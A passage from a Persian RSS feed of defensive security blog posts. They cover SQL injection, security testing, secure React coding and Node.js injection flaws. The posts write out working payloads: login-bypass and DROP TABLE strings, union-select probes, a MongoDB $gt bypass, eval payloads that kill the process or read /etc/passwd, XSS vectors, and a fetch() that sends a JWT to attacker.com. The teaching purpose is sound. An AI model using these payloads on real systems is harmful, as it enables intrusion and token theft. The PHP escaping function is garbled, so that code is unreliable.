توانیم تعداد ستون های جدولی که با توجه به id، اطلاعات از آن خوانده می شود را بدست آوریم.(ممکن است مقدار 5 به ازای هر جدول متفاوت باشد)http://fakesite.com/report.php?id=23 order by 5--+بعد از دانستن تعداد ستون های جدول با دستور Union، ستونی که از آن اطلاعات خوانده می شود و در صفحه چاپ می شود را بدست می آوریم.http://fakesite.com/report.php?id=-23 union select &#039;hello1&#039;,&#039;hello2&#039;,&#039;hello3&#039;,&#039;hello4&#039;,&#039;hello5&#039;--+هر کدام از hello ها که در صفحه چاپ شود به این معنی است که می توانیم به جای آن hello پرس و جوی خود را بنویسیم.برای مثال نام دیتابیس را با database() بدست می آوریم.http://fakesite.com/report.php?id=-23 union select 1,2,database(),4,5--+3-بر مبنای تاریکی Blind Basedشاید اسم این روش عجیب باشد ولی با توجه به الگو &quot;بر مبنای&quot; تاریکی کلمه مناسب و هکر پسندانه تری است!در این روش با استفاده از and و دستورات زمانی مانند sleep در بارگذاری اطلاعات از پایگاه داده تاخییر و یا تغییر ایجاد می کنیم.برای مثال می دانیم 2=1 نیست پس آن را در مقدار id قرار می دهیم تا شرط False شود و بدین ترتیب اطلاعات به درستی از پایگاه داده استخراج نشود.http://www.shop.local/item.php?id=34 and 1=2در مرحله بعد شرط True می کنیم.http://www.shop.local/item.php?id=34 and 1=1حال با توجه به روش های بالا به سراغ روش های جلوگیری از این حمله می رویم.روش های جلوگیری در زبان PHPمثال 1)تکه کد زیر دو مقدار username و password را با درخواست از نوع POST دریافت می کند و سپس در پرس و جو با رکورد های موجود در پایگاه داده مقایسه می کند.&lt;?php
$userName=$_POST[&#039;userName&#039;];
$password=$_POST[&#039;password&#039;];
$sqlQuery=&amp;quotSELECT * FROM users WHERE user_name=&#039;&amp;quot.$username.&amp;quot&#039; AND user_password=&#039;&amp;quot.$password&amp;quot&#039;;&amp;quot
?&gt;اگر password، مقدار  ‘ or ‘a’=’a ‘or’ داشته باشد؛ شرط WHERE به ازای کاربر با کلمه عبور نامرتبط درست خواهد بود.مثال 2)اطلاعات کاربر را با توجه به id او توسط پرس و جو sql دریافت می کنیم.$expected_data = 1;
$query = &amp;quotSELECT * FROM users where id=$expected_data&amp;quotاگر id، مقدار1; DROP TABLE users; داشته باشد علاوه بر نمایش اطلاعات کاربر جدول کاربران هم پاک می شود!و پرس و جو در نهایت این شکلی می شود.SELECT * FROM users where id=1; DROP TABLE users;برای جلوگیری  دو روش Block Malicious  و Prepared Statements را بررسی می کنیم.راه حل 1)یکی از بهترین روش ها برای جلوگیری از آسیب پذیری، تشخص کاراکتر های غیر مجاز درون رشته و تبدیل آن ها به کاراکتر های مجاز است.با این توضیح ابتدا تابعی تعریف می کنیم تا ورودی کاربر را بگیرد و کاراکتر های برهم زننده رشته پرس و جو را به کاراکتر های مجاز در رشته در قالب آرایه تبدیل کند.&lt;?php
function BlockSQLInjection($str)
{
return str_replace(array(&amp;quot&#039;&amp;quot,&amp;quot&amp;quot&amp;quot,&amp;quot&#039;&amp;quot,&#039;&amp;quot&#039;),array(&amp;quot&#039;&amp;quot,&amp;quot&amp;quot&amp;quot&#039;&amp;quot,&amp;quot&amp;quot&amp;quot,$str));
}
?&gt;حال درخواست های ارسال شده را به تابع پاس دهیم.&lt;?php 
$userName=BlockSQLInjection($_POST[&#039;userName&#039;]);
$password=BlockSQLInjection($_POST[&#039;password&#039;]);
?&gt;راه حل 2)یکی از روش های بسیار خوب استفاده از Prepared Statements ها در زبان های مختلف است.برای مثال در زبان php می توان از PDO برای کار با قسمت های مختلف پایگاه داده در قالب api استفاده کرد.نمونه کد برای کار pdo به شکل زیر است.&lt;?php
$stmt=$conn-&gt;prepare(INSERT INTO MyGuests(firstname,lastname,email)VALUES(?,?,?)&amp;quot);
$stmt-&gt;bind_param(&amp;quotsss&amp;quot,$firstname,$lastname,$email);
//set paramters and execute
$firstname=&amp;quotJohn&amp;quot
$lastname=&amp;quotDoe&amp;quot
$email=&amp;quotjohn@example.com&amp;quot
$stmt-&gt;execute();
$firstname=&amp;quotMary&amp;quot
$lastname=&amp;quotMoe&amp;quot
$email=&amp;quotmary@example.com&amp;quot
$stmt-&gt;execute();روش های جلوگیری در ASP.NETمثال 1)کد زیر را در نظر بگیرید.protected void Button1_Click(object sender, EventArgs e)
{
  string connect = &amp;quotMyConnString&amp;quot
    string query = &amp;quotSelect Count(*) From Users Where Username = &#039;&amp;quot + UserName.Text + &amp;quot&#039; And Password = &#039;&amp;quot + Password.Text + &amp;quot&#039;&amp;quot
      int result = 0;
        using (var conn = new SqlConnection(connect))
          {
              using (var cmd = new SqlCommand(query, conn))
                  {
      conn.Open();
      result = (int)cmd.ExecuteScalar();
      }
      }
  if (result &gt; 0)
  {
    Response.Redirect(&amp;quotLoggedIn.aspx&amp;quot);
  }
  else
  {
    Literal1.Text = &amp;quotInvalid credentials&amp;quot
}همانطور که در رشته پرس و جو مشاهده می کنید، هیچ کنترلی بر روی درخواست ارسال شده نمی شود.اگر مقدار &#x27; or &#x27;1&#x27; = &#x27;1 ارسال شود شرط WHERE درست می شود.مثال 2)در کد زیر هم درخواست ارسال شده بدون هیچ کنترلی در رشته پرس و جو استفاده شده است.string connect = &amp;quotMyConnString&amp;quot
string query = &amp;quotSelect * From Products Where ProductID = &amp;quot + Request[&amp;quotID&amp;quot];

using (var conn = new SqlConnection(connect))
{
  using (var cmd = new SqlCommand(query, conn))
  {
    conn.Open();
    //Process results
  }
}بنابر این اگر مقدار ;Drop Table Admin-- ارسال شود علاوه بر پرس و جوی قبل پرس و جوی ارسال شده اجرا می شود.برای جلوگیری دو زیر را بررسی می کنم.راه حل 1)با توجه به نوع ستون جدول در پایگاه داده، ورودی کاربر را تبدیل به آن نوع می کنم.برای مثال id محصول از نوع عدد و int است پس درخواست ارسالی را تبدیل به عدد می کنم.protected void Page_Load(object sender, EventArgs e)
{
  var connect = ConfigurationManager.ConnectionStrings[&amp;quotNorthWind&amp;quot].ToString();
  var query = &amp;quotSelect * From Products Where ProductID = @ProductID&amp;quot
  using (var conn = new SqlConnection(connect))
  {
    using (var cmd = new SqlCommand(query, conn))
    {
      cmd.Parameters.Add(&amp;quot@ProductID&amp;quot, SqlDbType.Int);
      cmd.Parameters[&amp;quot@ProductID&amp;quot].Value = Convert.ToInt32(Request[&amp;quotProductID&amp;quot]);
      conn.Open();
      //Process results
    }
  }
}این روش را می توان به صورت زیر هم استفاده کرد.protected void Page_Load(object sender, EventArgs e)
{
  var connect = ConfigurationManager.ConnectionStrings[&amp;quotNorthWind&amp;quot].ToString();
  var query = &amp;quotSelect * From Products Where ProductID = @ProductID&amp;quot
  using (var conn = new SqlConnection(connect))
  {
    using (var cmd = new SqlCommand(query, conn))
    {
      cmd.Parameters.AddWithValue(&amp;quot@ProductID&amp;quot, Convert.ToInt32(Request[&amp;quotProductID&amp;quot]);

      conn.Open();
      //Process results
    }
  }
}راه حل 2)روش دیگر استفاده از Store Procedure است.مزیت این روش نسبت به روش قبل این است که query حتما با توجه به نوع ستون اجرا می شود.var connect = ConfigurationManager.ConnectionStrings[&amp;quotNorthWind&amp;quot].ToString();
var query = &amp;quotGetProductByID&amp;quot

using (var conn = new SqlConnection(connect))
{
  using (var cmd = new SqlCommand(query, conn))
  {
    cmd.CommandType = CommandType.StoredProcedure;
    cmd.Parameters.Add(&amp;quot@ProductID&amp;quot, SqlDbType.Int).Value = Convert.ToInt32(Request[&amp;quotProductID&amp;quot]);
    conn.Open();
    //Process results
  }
}روش های جلوگیری در زبان Javaمثال 1)protected void processRequest(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
        response.setContentType(&#039;text/html;charset=UTF-8&#039;);
        PrintWriter out = response.getWriter();
        try {
 
            String user = request.getParameter(&#039;user&#039;);
            Connection conn = null;
            String url = &#039;jdbc:mysql://192.168.2.128:3306/&#039;;
            String dbName = &#039;anvayaV2&#039;;
            String driver = &#039;com.mysql.jdbc.Driver&#039;;
            String userName = &#039;root&#039;;
            String password = &#039;&#039;;
            try {
                Class.forName(driver).newInstance();
                conn = DriverManager.getConnection(url + dbName, userName, password);
 
                Statement st = conn.createStatement();
                String query = &#039;SELECT * FROM  User where userId=&#039;&#039; + user + &#039;&#039;&#039;;
                out.println(&#039;Query : &#039; + query);
                System.out.printf(query);
                ResultSet res = st.executeQuery(query);
 
                out.println(&#039;Results&#039;);
                while (res.next()) {
                    String s = res.getString(&#039;username&#039;);
                    out.println(&#039;\t\t&#039; + s);
                }
                conn.close();
 
            } catch (Exception e) {
                e.printStackTrace();
            }
        } finally {
            out.close();
        }با توجه به کد بالا اگر در userId مقدار admin’ or ‘1’=’1 وارد کنیم رشته پرس و جو به شکل زیر می شود.SELECT * FROM User where userId =&#039;admin&#039; or &#039;1&#039;=&#039;1&#039;راه حل 1)با استفاده Prepared Statement نوع درخواست ارسال شده را تعیین می کنیم.PreparedStatement  preparedStatement=conn.prepareStatement(&#039;SELECT * FROM  usercheck where username=?&#039;) ;
preparedStatement.setString(1, user);راه حل 2)با استفاده از NamedQuery در جاوا می توانیم درخواست را به صورت  Prepared Statement  دریافت و پرس و جو مرتبط ایجاد کنیم.در حالت عادی query به شکل زیر ساخته می شود.String q=&#039;SELECT r FROM  User r where r.userId=&#039;&#039;+user+&#039;&#039;&#039;;
Query query=em.createQuery(q);
List users=query.getResultList();اما با NamedQury می توانیم پرس و جو را با توجه به مدل های پایگاه داده خودکار تولید کنیم.Query query=em.createNamedQuery(&#039;User.findByUserId&#039;);
query.setParameter(&#039;userId&#039;, user);
List users=query.getResultList();نسخه انگلیسی و کامل تر این مطالب در اینجا وجود دارد.  نمونه Source Code با PHP  نمونه Source Code با ASP.NET  نمونه Source Code با Javaمنابعmemoryleaks.irsecurecoding.irbawetech.comمعذرت بابت کم و کاستی های فراوان این مطلبخیلی خوشحال میشوم نظرات خود را اینجا بگذاریدبا تشکر از شما </description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Thu, 24 Oct 2019 21:30:53 +0330</pubDate>
            </item>
                    <item>
                <title>چگونه یک تست امنیتی بنویسیم</title>
                <link>https://virgool.io/apieco/%DA%86%DA%AF%D9%88%D9%86%D9%87-%DB%8C%DA%A9-%D8%AA%D8%B3%D8%AA-%D8%A7%D9%85%D9%86%DB%8C%D8%AA%DB%8C-%D8%A8%D9%86%D9%88%DB%8C%D8%B3%DB%8C%D9%85-hwkp0xti2tog</link>
                <description>htxt.africaقبل شروع موضوعات باید بگم این نوشته طولانی است و اگر حال خواندن این مطلب را نداشتید به طور خلاصه باید بگم اگر می خواهید نرم افزار مورد نظرتان حد اقل های امنیتی را داشته باشد باید در هر مرحله از توسعه نرم افزارتان تست های امنیتی را جدا از تست های دیگر اجرا کنید و به قول آقای یاشار شاهین زاده Continuous Scanning داشته باشید.اگر بخواهیم برنامه ای بنویسیم که حد اقل های امنیتی را دارا باشد باید امنیت را در چرخه حیات توسعه نرم افزار در نظر بگیریم.چون تست امنیت بعد از تولید نرم افزار هزینه بر تر خواهد بود.چرخه حیات توسعه نرم افزار یا SDLCبرای تعریف Software Development Life Cycle می شود گفت یک طرح دقیق شامل نحوه توسعه(development)،نگهداری(maintain)،جایگزینی یا تغیر نرم افزاری خاص است.به بیان دیگر یک روش برای بهبود کیفیت و فرآیند توسعه نرم افزار است که شامل مراحل زیر می شود.tutorialspointمدل های معرفی شده برای SDLC را شاید خیلی شنیده باشید مانندمدل Waterfallمدل Iterativeمدل Spiralمدل Vمدل Agile...در چرخه حیات توسعه نرم افزار بحثی با نام چرخه حیات توسعه نرم افزار امن یا S-SDLC مطرح است که به افراد نقشه راه یا roadmap می دهد برای اطلاعات بیشتر در این زمینه به ویکی OWASP مراجعه کنید.در چرخه حیات هر بخش کار امنیت خاص خود را دارد برای مثال طبق تصویر زیرguru99در مرحله پیش نیاز ها یا Requirements باید پش نیاز های لازم برای تست و الزامات و موارد سوء استفاده تجزیه و تحلیل شود.در مرحله طراحی یا Design باید خطرات احتمالی در طراحی بررسی و در تست ها در نظر گرفته شود.در مرحله کد نویسی و تست واحد یا Coding &amp; Unit Testing باید به صورت ثابت یا پویا با در نظر گرفتن کد ها و به صورت White Box تست انجام شود.در مرحله تست یکپارچه یا Integration Testing باید بدون در نظر گفتن کد و به صورت Black Box تست انجام شود.در مرحله تست سیستم یا System Testing باید علاوه بر تست Black Box باید آسیب پذیری های احتمالی بررسی شود.در مرحله پیاده سازی یا Implementation باید تست نفوذ همراه با شناسایی آسیب پذیری ها صورت گیرد.در مرحله آخر چرخه حیات توسعه نرم افزار باید بحث پشتیبانی یا Support در نظر گرفته شود به این معنی که اثرات یا Impact ها تجزیه و تحلیل شود.در تصویر زیر علاوه بر موارد بالا مواردی مثل آموزش توسعه دهندگان هم در نظر گرفته شده استموارد کاربرد های تستتست های امنیتی باید موارد زیر را بررسی کنند تا بتوانند طیف وسیعی از آسیب پذیری های احتمالی پوشش دهند.سطح دسترسی و احراز هویت بررسی ورود ها و رمز گذاری(Encoding)رمزگذاری(Encryption)نشست های کاربرمدیریت و کنترل خطاهاگزارش گیری یا Loggingسناریو های تستخواندن و بررسی سناریو ها یک راه خوب برای نوشتن یک تست خوب است.برای مثال داخل این مخزن و یا این یکی موارد بسیار خوبی قرار گرفته است که با خواندن و بررسی می توان تست بهتری نوشت.ابتدا چند سناریو را بررسی کنیمفرم ورودی داریم که نام کاربری و کلمه عبور میگیرد پس تست ما پس باید موارد زیر را بررسی کند.نام کاربری نباید شامل مواردی مانند &quot;Admin&quot; یا &quot;Administrator&quot; باشد.کلمه عبور نباید کمتر از ۸ رقم باشد.پیام ثبت نام نباید شامل پیام های آشکار مانند &quot;ایمیل قبلا موجود است&quot; یا &quot;نام کاربری قبلا ثبت شده است&quot; باشد.هر یک از ورودی ها باید بررسی شود تا از ورود کاراکتر های مخرب جلوگیری شود.درخواست ورود نباید بیشتر از ۳ بار باشد.پیام های خطای سیستمی مانند &quot;syntax error&quot; به هیچ عنوان نباید نشان داده شود.اطلاعات حساس فرم به هیچ عنوان نباید در url استفاده شود.فضاهای خالی در ورودی ها از لحاظ کاراکتر های مخرب و یا رمز شده بررسی شود .قسمت جست و جو محصولاتی داریم که یک ورودی از کاربر میگیرد.ورودی مربوط باید سمت سرور بررسی شود نه در سمت کاربرورودی باید شامل کاراکتر های مجاز باشد و مثلا کاراکتر ها و یا کلماتی که سمت سرور و دیتابیس رزرو شده است نباید اجازه اجرا داده شود.بررسی درخواست جست و جو باید دو بار انجام شودیکبار موقع ارسال درخواست و یکبار موقع ارسال نتایج که مطمئن شویم این همان مورد جست و جو شده کاربر است.دکمه ارسال درخواست نباید سمت کاربر تایید شودخیلی مواقع پیش میاید دکمه ارسال سمت کاربر و با جاوااسکریپت بررسی  و سپس فرم ارسال می شوداین مورد بستر بسیار مناسبی را برای xss به وجود می آورد.تا حد ممکن درخواست رمز و سپس ارسال شود.   نوشتن یک تستبا توجه به زبان و تکنولوژی که با آن کار می کنید فریمورک های تست هم متفاوت است برای مثالJUnit(java)PHPUnitPyUnit(python)NUnit(.net)اگر بخواهیم لایه به لایه به تست نگاه کنیم پس ابتدا باید Unit Test انجام شود.مثلا در JUnit برای تست معتبر بودن ورودی می توان از کد زیر استفاده کرد(دقت کنید قرار است پیش نیاز های هر حمله مورد بررسی قرار بگید).public void testIllegalCharactersInPhoneNumber() {
       String number = &quot;+(23)&#039;;[]232 - 321&quot;;
       acc.setPhone(number);
       validator.validate(acc, errors); 
       assertTrue(number+&quot; did not cause a validation error.&quot;,         
       errors.hasFieldErrors(&quot;phone&quot;));
 }    
public void testAlphabeticInPhoneNumber() {
       String number = &quot;12a12121&quot;;
       acc.setPhone(number);
       validator.validate(acc, errors); 
       assertTrue(number+&quot; did not cause a validation error.&quot;,    
       errors.hasFieldErrors(&quot;phone&quot;));  
  }از مزیت های تست در لایه Unit Test می توان به مشکلات سریعا شناسایی می شوندتست ها به سرعت انجام می شوندپوشش بالا تستاز معایب تست در لایه Unit Test هم می توان به بسیار از آسیب پذیری ها در این لایه قابل شناسایی نیستندلایه بعدی Integration Test است.برای مثال برای بررسی سطح دسترسی می توان از کد زیر استفاده کرد.public class TestAccessControl extends ServletTestCase {
   public void beginUnprivilegedUserAccessControl(WebRequest theRequest) {
       theRequest.setAuthentication(new  	                        
       BasicAuthentication(&quot;user&quot;, &quot;password&quot;));
    }
    public void testUnprivilegedUserAccessControl() throws  
    IOException, javax.servlet.ServletException {
       AdminServlet admin = new AdminServlet();
       admin.doGet(request, response);
    }
    public void endUnprivilegedUserAccessControl(WebResponse theResponse) throws 
    IOException {
        assertTrue(&quot;Normal users must not be able to access 	/admin&quot;,
        theResponse.getStatusCode() == 401)
    }
 }از مزایا تست در لایه Integration می توان بهتست نرم افزار ها تحت سرورشناسایی آسیب پذیری های بیشتر نسبت به لایه قبل مانند انواع injection از معایب هم می توان بهبار اضافی برای سیستمعدم شناسایی آسان آسیب پذیری هایی مانند xss لایه بعدی Acceptance Test است.که بسیار از ابزار های شناسایی آسیب پذیری به صورت Black box در این لایه کار می کنندو برای تست API خارجی کاربردی است.ابزار های این لایه به دو دسته۱- HTTP client یا HTML parser ۲-Driver Browser Instance روش اول مانند ابزار هایی مانند HTTPUnit مانند یک کاربر پروتکل http عمل می کنند.روش دوم هم مانند WATIR یا Selenium مانند یک مرورگر عمل می کنند.برای مثال برای تست SQL Injection با WATIR می توان از کد زیر استفاده کرد.class SQL_Injection_Test &lt; Test::Unit::TestCase
    include Watir
    def test_SQL_Blind_Injection_in_Login()
        $ie.goto(&#039;http://localhost:8080/ispatula&#039;)
        $ie.link(:url, /signonForm.do/).click
        $ie.text_field(:name, &#039;username&#039;).set(&#039;corsaire1\&#039; OR 1=1--&#039;)
        $ie.form(:action, &quot;/ispatula/shop/signon.do&quot;).submit
        assert($ie.contains_text(&#039;Signon failed&#039;));
     end 
  endخودکار سازی فرآیند تستدر توسعه نرم افزار چابک و سیستم هایی که CI/CD دارند بحث خودکار سازی فرآیند تست می تواند کار ساز باشد.برای مثال در تصویر زیر بعد از کامیت شدن کد در Jenkins موقع هر build تست ها اجرا و تست دیگری بر اساس زمان بندی تعریف شده اجرا و نتایج در سرور تست ها ذخیره و آسیب پذیری های کشف شده در Vulnerability Management ذخیره می شود.secodisدر این سیستم برای بخش Pipline به صورت زمان بندی شده از اسکنری مانند Arachni استفاده می کنند تا آخرین آسیب پذیری های کشف شده بر روی کد شناسایی و گزارش شود(به جای ThreadFix از sonarqube هم می توانید استفاده کنید).واقعیت با توجه به پیشرفت تکنولوژی و هوش مصنوعی، خودکار سازی فرآیند های تست آسان تر شده است.ولی این به معنی نیست که باید این تست ها اطمینان شود و گاهی خود این فرآیند خودکار سازی بستر جدید حمله برای هکر خواهد شد.برای اطلاعات بیشتر فایل ارائه آقای وحید بهزادان مراجعه کنید.معذرت بابت کم و کاستی های فراوان این مطلب خیلی خوشحال میشوم نظرات خود را اینجا بگذاریدبا تشکر از شمامنابعguru99.comtutorialspoint.comSecurity Testing through Automated Software Tests - OWASPSecure Development Lifecycle - OWASPhttps://blog.secodis.comhttps://bawetech.com</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Thu, 23 May 2019 16:51:04 +0430</pubDate>
            </item>
                    <item>
                <title>چگونه در ری اکت کد امن بنویسیم</title>
                <link>https://virgool.io/iran-react-community/%DA%86%DA%AF%D9%88%D9%86%D9%87-%D8%AF%D8%B1-%D8%B1%DB%8C-%D8%A7%DA%A9%D8%AA-%DA%A9%D8%AF-%D8%A7%D9%85%D9%86-%D8%A8%D9%86%D9%88%DB%8C%D8%B3%DB%8C%D9%85-vlhkayimeh5d</link>
                <description>rationalappdev.comری اکت کتابخانه برای ساخت رابط کاربری است که توسط فیسبوک و جامعه کاربری آن توسعه پیدا می کند.برای مثال در معماری MVC از ری اکت معمولا در قسمت V یا View استفاده می شود.از قابلیت های react می توان به موارد زیر اشاره کرد:سینتکس JSX:استفاده از این سنتکس الزامی نیست ولی استفاده از آن در جهت استفاده هر چه ساده تر html و xhtml در جاوااسکریپت استفاده از آن پیشنهاد می شود.کامپوننت ها: اگر در ری اکت به همه چیز را کامپوننت در نظر بگیرید قطعا در آینده می توانید بهتر از کد خود نگهداری کنید.پترن Flux و جریان یک طرفه داده( Unidirectional data flow ):جریان یک طرفه داده به این معنی که تمام داده های در برنامه یک life-cycle را دنبال می کنند که این موضوع logic برنامه شما را قابل فهم تر می کند.از مزیت های ری اکت می توان به موارد زیر اشاره کرد:استفاده از DOM مجازی به عنوان یک object باعث بهبود کارایی برنامه نسبت به استفاده از DOM معمولی می شودمی توان در سمت client-side و server-side و همچنین با سایر فریمورک ها استفاده کرد.کامپوننت و data pattern باعث بهبود خوانایی می شود; همچنین باعث کمک به نگهداری از برنامه های بزرگ می شود. ۱- فرض کنید قرار است html را با فرمت JSON و توسط کتابخانه ای مانند Redux به client بفرستید  خب طبیعتا تابع  JSON.stringify  را فراخوانی می کنید. همین موضوع باعث آسیب پذیری می شود مانند مثال زیر:function renderFullPage(html,preloadedState){
    return `
        &lt;!doctype html&gt;
            &lt;html&gt;
               &lt;head&gt;
                    &lt;title&gt;Redux Universal Example&lt;/title&gt;
                &lt;/head&gt;
                &lt;body&gt;
                    &lt;div id=&quot;root&quot;&gt;${html}&lt;/div&gt;  
                        window.__PRELOADED_STATE__=${JSON.stringify(preloadedState)}  
                        &lt;script src=&quot;/static/bundle.js&quot;&gt;
                  &lt;/body&gt;
               &lt;/html&gt;
		`
}ما اگر مقادیر JSON را به شکل زیر تغییر دهیم:  user: {
    username: &quot;NodeSecurity&quot;,
    bio: &quot;asalert&#40;&#039;You have an XSS vulnerability!&#039;&#41;&quot;
    }ممکن است xss رخ بدهد.برای جلوگیری از این اتفاق می توان مقادیر ارسالی را serialize کرد. برای این کار از ماژول  serialize-javascript استفاده می کنیم.کد بهبود یافته:var serialize = require(&quot;serialize-javascript&quot;)
function renderFullPage(html,preloadedState){
    return `
        &lt;!doctype html&gt;
            &lt;html&gt;
                &lt;head&gt;
                     &lt;title&gt;Redux Universal Example&lt;/title&gt;
                &lt;/head&gt;
                &lt;body&gt;
                    &lt;div id=&quot;root&quot;&gt;${html}&lt;/div&gt; 
                    window.__PRELOADED_STATE__=${serialize(preloadedState, {isJSON:true})}          
                     &lt;script src=&quot;/static/bundle.js&quot;&gt;
                  &lt;/body&gt;
               &lt;/html&gt;
 }با این کار مثلا تگ &lt;script/&gt;ما به این شکل می شود:  \\u003C\\u002Fscript\\u003E  ۲-فرض کنید طلاعاتی را از کاربر می گیرید و با آن به طور مستقیم کار می کنیدمثلا آیتم وارد شده از طرف کاربر را حذف می کنیدحال اگر اطلاعاتی که کاربر وارد کرده است به این شکل باشد&quot;&gt;&lt;svg =confirm&#40;1&#41;&gt;موقع فراخوانی عنوان وارد شده اگر هیچ sanitization صورت نگرفته باشد احتمالا مانند تصویر زیر xss رخ بدهد.flexportبرای جلوگیری بهتر از کلیه تگ هایی برای xss استفاده می شود را  به وسیله ماژول js-xss  تصفیه کنید( Sanitize)کنید.۳-اگر تگ a را بدون ست کردن  &quot;rel=&quot;noopener noreferrer در صفحه قرار دهید اتکر می تواند صفحه ای که از آن لینک شده است را با window.opener تغییر دهد.flexport ۴-در ری اکت اگر بخواهیم مقادیری به اصطلاح Ritch text را نمایش دهیم از showdown استفاده می کنیم که صورت پیش فرض تگ های Html را sanitize نمی کند.یک نمونه Rich text:#This is my first post
##And, perhaps, the last one
&lt;img src=x =alert&#40;&#039;NoCSP&#039;&#41; /&gt;نمایش آن در ری اکت:convertToMarkdown (markdown){
    const converter = new showdown.Converter()
    const data = converter.makeHtml(markdown)
    return {__html: data}
  }تگ مربوطه:&lt;div dangerouslyHTML={this.convertToMarkdown(this.state.userinput)}&gt;&lt;/div&gt;همین کافی است تا مثلا با وارد کردن مقدار زیر DOM-XSS اتفاق بی افتد.alert&#40;1&#41; ۵-ری اکت به طور پیش فرض هیچ wrapper برای localStorage ندارد و شما می توانید از طریق کتابخانه هایی مانند store,js یا cross-storage و... این کار را انجام دهید.مشکل از آنجا شروع می شود که برنامه ها JWT یا OAuth token یا Api key ها را در localStorage ذخیره می کنند و اطلاعات حساس مثل موارد بالا را موقع logout پاک نمی کنند.اگر موارد بالا وجود داشته باشد با payload زیر xss احتمالا اتفاق خواهد افتاد:fetch(&#039;http://attacker.com/logger?token=&#039;+localStorage.getItem(&#039;jwtToken&#039;));راه حل این است که  ذخیره مواردی مانند JWT در localStorage یا sessi را در Cookie انجام دهیم.منابع https://www.tutorialspoint.com/reactjs  https://medium.com/node-security/the-most-common-xss-vulnerability-in-react-js-applications-2bdffbcc1fa0  https://flexport.engineering/six-vulnerabilities-from-a-year-of-hackerone-808d8bfa0014  https://www.slideshare.net/kseniadmitrieva/how-to-react-to-javascript-insecurity  https://bawetech.com/معذرت بابت کم و کاستی های فراوان این مطلب خیلی خوشحال میشوم نظرات خود را اینجا بگذاریدبا تشکر از شما</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Sun, 19 May 2019 16:26:38 +0430</pubDate>
            </item>
                    <item>
                <title>مشکلات امنیتی رایج استفاده جاوااسکریپت در بک اند</title>
                <link>https://virgool.io/nodejs/%D9%85%D8%B4%DA%A9%D9%84%D8%A7%D8%AA-%D8%A7%D9%85%D9%86%DB%8C%D8%AA%DB%8C-%D8%B1%D8%A7%DB%8C%D8%AC-%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%D8%AC%D8%A7%D9%88%D8%A7%D8%A7%D8%B3%DA%A9%D8%B1%DB%8C%D9%BE%D8%AA-%D8%AF%D8%B1-%D8%A8%DA%A9-%D8%A7%D9%86%D8%AF-pdbn0lcgnwoi</link>
                <description>finance-monthlyامروز جاوااسکریپت فقط در فرانت استفاده نمی شود و استفاده از جاوا اسکریپت در بک اند توسط runtime هایی همچون nodejs متداول شده است.در این مطلب میخواهیم مشکلاتی که اغلب خود برنامه نویسان در بک اند به وجود می آورند را بررسی کنیم.انواع Injectionدر این نوع attack ها سعی ما بر این است از جاهایی که توسعه دهنده مقادیر ورودی را کنترل نکرده است مقادیر خودمان را وارد کنیم.۱- تزریق SQL/noSQL injectionمثال noSQLدر مثال ما پایگاه داده مورد استفاده ما mongodb است.در این پایگاه داده متغیر هایی مانند ne$(به معنی نابرابر) و gt$( به معنی بزرگتر) که می توان از آن ها سوء استفاده کرد.همین موضوع کافی است تا در query که از ما گرفته میشود به جای مقدار درخواست شده متغیر ne$  یا gt$ بگذاریم.برای مثال در json زیر ایمیل و کلمه عبور از ما گرفته می شود و با مدل User چک می شود، کافی است به جای مقدار واقعی payload خود را بگذاریم.{
&quot;email&quot;: {&quot;$gt&quot;: &quot;&quot;}, 
&quot;password&quot;: {&quot;$gt&quot;: &quot;&quot;}
}این مقدار ها باعت می شود دیتابیس هر مقداری را که بزرگتر از &quot;&quot; را برگرداند و این موضوع یعنی اینکه همه کاربرانی که ایمیل و کلمه عبورشان بزرگتر از &quot;&quot; میتواند منظور query ما باشد.حالا نگاهی به کد آسیب پذیر بی اندازیم:app.post(&#039;/login&#039;,function(req,res){    User.findOne({&#039;email&#039;:req.body.email,&#039;password&#039;:req.body.password},function(err,data){        if(err){            res.send(err);        }else if(data){            res.send(&#039;User Login Successful&#039;);        }else {            res.send(&#039;Wrong Username Password Combination&#039;);        }    })});توسعه دهنده بدون هیچ input validation مقادیر ایمیل و پسورد را از کاربر می گیرد کد بهبود یافته مانند زیر می شود:app.post(&#039;/login&#039;,function(req,res){    var email = req.body.email;    var password = req.body.password;    User.findOne({&#039;email&#039;: { $in: [email] },&#039;password&#039;: { $in: [password] }},function(err,data){        if(err){            res.send(err);        }else if(data){            res.send(&#039;User Login Successful&#039;);        }else {            res.send(&#039;Wrong Username Password Combination&#039;);        }    })});بهبود فقط با اضافه شدن in$ به این معنی که مقدار فرستاده شده کاربر اگر در آرایه مقادیر بود مقدار True برگردان.توضیحات بیشتر در scotch.io مثال SQLفرض کنید توسعه دهنده نام کاربری را به این شکل در query خود قرار می دهد.SELECT * FROM users WHERE username = &#039;&quot; + username + &quot;&#039;;خب ما میتوانیم داخل username این payload را قرار دهیم&#039; OR &#039;1&#039;=&#039;1&#039;;یعنی query را ببندیم و مقدار ۱=۱ را قرار دهیم تا query توسط ما True شود.اگر هم بعد از username مقادیر دیگری هم مانند مثال زیر گرفته می شود کافی است بقیه query را کامنت کنیم.SELECT * FROM users WHERE username = &#039;&quot; + username + &quot;&#039; and password = &#039;&quot; + password + &quot;&#039;;پس &#039; OR &#039;1&#039;=&#039;1&#039;;--برای بهبود کد می توان به جای اینکه مستقیم مقدار کاربر را در query قرار داد آن را توسط کتابخانه pg از کاربر گفت.توضیحات بیشتر به همراه آموزش تست توسط sqlmap در nearform.comمثال جالب دیگر برای دور زدن Authentication در medium۲- تزریق Command Injectionتوابعی مثل ()eval، setTimeout()، setInterval()، Function() که مقادیری را از کاربر می توانند بگیرند اگر دستوراتی مانند:while(1)process.exit()process.kill(process.pid) بگیرند باعث حملات تکذیب سرور یا Denial of Service شود.البته می توان فایل های سیستمی یا دایرکتوری ها را نیز هم با این Attack احتمالا خوانددستوراتی مانند: res.end(require(&#x27;fs&#x27;).readdirSync(&#x27;../..&#x27;).toString()) res.end(require(&#x27;fs&#x27;).readFileSync(&#x27;../../../../../../../../../../etc/passwd&#x27;)) کد آسیب پذیر:var cmd = eval&#40;req.body.cmd&#41;;کد بهبود یافته:var cmd = parseInt(req.body.cmd);توضیحات بیشتر در کتابچه nodegoat۳- حملات XXEفرض کنید قرار است اطلاعاتی را از کاربر در قالب xml بگیرید مانند کد زیر var products = libxmljs.parseXmlString(req.files.products.data.toString(&#039;utf8&#039;), 